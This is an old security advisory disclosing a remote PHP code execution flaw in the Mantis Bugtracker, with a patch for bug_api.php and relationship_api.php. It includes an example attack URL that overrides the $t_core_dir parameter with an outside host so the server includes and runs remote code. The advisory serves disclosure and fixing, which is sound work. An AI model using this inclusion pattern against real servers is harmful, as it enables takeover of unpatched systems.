------------------------------------------------------------------------
---

Mantis Bugtracker Remote PHP Code

Execution Vulnerability

------------------------------------------------------------------------
---

Author: Joxean Koret

Date: 08-01-2004

Location: Basque Country

------------------------------------------------------------------------
---

Affected software description:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mantis Bugtracker

Mantis is a web-based bugtracking system. It is

written in the PHP scripting

language and requires the MySQL database and

a webserver.

------------------------------------------------------------------------
---

Vulnerabilities:

~~~~~~~~~~~~~~~~

A. Remote PHP Code Execution Vulnerability

A1. If the REGISTER_GLOBAL variable is set an

attacker can execute arbitrary

php code by overwriting the global variable

$t_core_dir with our desired url

(for example

http://localhost/mantis/core/bug_api.php?t_core_dir=http://fucking.site.
com/)

The following files are vulnerables :

bug_api.php -> at line 22? (using variable

$t_core_path)

relationship_api.php -> Line 14 (using variable

$t_core_dir)

The fix:

~~~~~~~~

Both of these issues have now been fixed in

CVS.

There is also a Patch for the Mantis 0.19.0a

version

=====================================================================

mantis.patch

bug_api.php

@@ -19,7 +19,7 @@

require_once( $t_core_dir .

'sponsorship_api.php' );

# MASC RELATIONSHIP

-

require_once( $t_core_path.'relationship_api.php' );

+

require_once( $t_core_dir.'relationship_api.php' );

# MASC RELATIONSHIP

and to relationship API:

### Relationship API ###

+ $t_core_dir =

dirname( __FILE__ ).DIRECTORY_SEPARATOR;

+

require_once( $t_core_dir .

'collapse_api.php' );

# MASC RELATIONSHIP

=====================================================================

------------------------------------------------------------------------
---

Contact:

~~~~~~~~

Joxean Koret at

joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es

[ reply ]